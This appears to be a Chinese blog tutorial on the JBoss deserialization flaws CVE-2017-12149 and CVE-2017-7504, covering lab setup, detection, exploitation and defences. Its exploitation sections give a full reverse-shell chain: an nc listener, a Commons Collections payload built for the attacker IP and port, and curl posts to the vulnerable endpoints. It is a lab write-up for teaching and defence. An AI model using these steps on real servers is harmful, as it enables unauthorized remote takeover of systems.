Loading ...
JBoss 反序列化漏洞深度解析:从 CVE-2017-12149 到 CVE-2017-7504

一、JBoss 概述

1. 基本介绍

JBoss 是 Red Hat 公司维护的开源 Java EE 应用服务器,支持企业级功能如 EJB(企业组件)、JMS(消息服务)、JNDI(命名服务)等,常见版本包括 JBoss AS、WildFly、JBoss EAP,广泛应用于企业级系统。

2. 反序列化漏洞背景

JBoss 部分组件(如 HttpInvoker、JBossMQ)在处理序列化数据时缺乏严格校验,攻击者可通过特定接口发送恶意序列化对象,触发远程代码执行。本文聚焦两个典型漏洞:CVE-2017-12149CVE-2017-7504

二、CVE-2017-12149 漏洞详解

1. 漏洞原理

  • 触发点:HttpInvoker 组件的ReadOnlyAccessFilter过滤器。
  • 核心缺陷/invoker/readonly接口接收用户输入的序列化数据后,未验证合法性即直接反序列化,导致恶意代码执行。

2. 环境搭建

使用 vulhub 靶场快速部署:
cd vulhub/jboss/CVE-2017-12149  
docker-compose up -d  # 启动后默认端口8080  
访问http://靶机IP:8080确认环境正常运行。

3. 漏洞检测

访问http://靶机IP:8080/invoker/readonly

  • 若返回HTTP 500 错误(如java.io.EOFException),表明接口存在且未修复,可能存在漏洞;
  • 若返回 404,则接口已被禁用或修复。

4. 漏洞利用步骤

(1)命令执行验证

使用专用工具(jboss_CVE-2017-12149)测试:

  • 输入目标地址http://靶机IP:8080和命令(如ls),执行后返回目录列表,证明漏洞存在。

(2)反弹 Shell(获取控制权)

  1. 攻击机准备
    监听端口等待反弹:
    nc -lvvp 8888  # 攻击机IP:192.168.226.141,端口8888  
    
  2. 生成恶意序列化文件
    • 下载辅助工具:JavaDeserH2HC
    • 编译恶意类(依赖commons-collections-3.2.1.jar):
      javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java  
      
    • 生成序列化文件(指定攻击机 IP 和端口):
      java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.226.141 8888  
      
  3. 发送恶意数据
    通过curl向漏洞接口发送序列化文件:
    curl http://靶机IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser  
    
  4. 验证结果
    攻击机nc会话接收靶机反弹的 Shell,执行whoami返回root,确认控制权获取成功。

三、CVE-2017-7504 漏洞详解

1. 漏洞原理

  • 触发点:JBossMQ 组件的/jbossmq-httpil/HTTPServerILServlet接口。
  • 核心缺陷:接口直接反序列化接收的序列化数据,未做安全校验,攻击者可构造恶意对象执行代码。

2. 环境搭建

同 CVE-2017-12149,使用 vulhub 靶场启动容器。

3. 漏洞检测

访问http://靶机IP:8080/jbossmq-httpil/HTTPServerILServlet

 

  • 若返回页面包含This is the JBossMQ HTTP-IL,表明接口存在,可能存在漏洞。

4. 漏洞利用步骤

  1. 生成恶意序列化文件:方法同 CVE-2017-12149(使用相同的ReverseShellCommonsCollectionsHashMap类)。
  2. 发送恶意数据
    curl http://靶机IP:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser  
    
  3. 验证结果:攻击机nc会话接收反弹 Shell,确认漏洞利用成功。

四、两个漏洞核心对比

对比项CVE-2017-12149CVE-2017-7504
触发接口/invoker/readonly/jbossmq-httpil/HTTPServerILServlet
检测特征访问返回 HTTP 500 错误访问返回特定页面内容(含JBossMQ HTTP-IL
利用链依赖依赖CommonsCollections同上
影响版本JBoss AS 5.x、6.xJBoss AS 4.x 及以上

五、漏洞识别方法

  1. 接口探测
    • 访问/invoker/readonly,返回 500 错误可能存在 CVE-2017-12149;
    • 访问/jbossmq-httpil/HTTPServerILServlet,返回特定页面可能存在 CVE-2017-7504。
  2. 工具扫描
    使用 Nessus、AWVS 等工具,或专用脚本(如jboss-vuln-scan),自动检测危险接口及漏洞。
  3. 序列化数据验证
    向接口发送空序列化对象,若返回ClassNotFoundException等反序列化错误,说明存在漏洞风险。

六、防御建议

  1. 版本升级:升级至安全版本(如 WildFly 10+),官方已修复相关接口缺陷。
  2. 禁用危险接口
    • 删除配置文件中接口映射(如web.xml中的 Servlet 配置);
    • 通过防火墙限制接口访问,仅允许可信 IP 调用。
  3. 输入过滤
    • 部署 WAF 拦截含 Java 序列化特征(ac ed 00 05魔数)的请求;
    • 禁止接口直接接收二进制序列化数据。
  4. 依赖管理
    移除commons-collections等危险库,或替换为安全版本(如commons-collections4)。
  5. 监控审计
    • 开启 JBoss 日志,监控/invoker//jbossmq-httpil/等路径的异常访问;
    • 定期扫描服务器,排查未修复的接口漏洞。
本文内容仅供学习交流使用,旨在普及网络安全知识、提升安全防护意识。文中涉及的技术解析与案例分析,均以合法合规的网络安全研究为前提,严禁用于任何未经授权的攻击、破坏或侵犯他人权益的行为。
网络空间不是法外之地,使用者需严格遵守《中华人民共和国网络安全法》《数据安全法》等相关法律法规,对自身行为承担全部法律责任。维护网络安全是每个公民的责任,让我们共同抵制网络违法活动,共建安全、健康的网络环境。
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇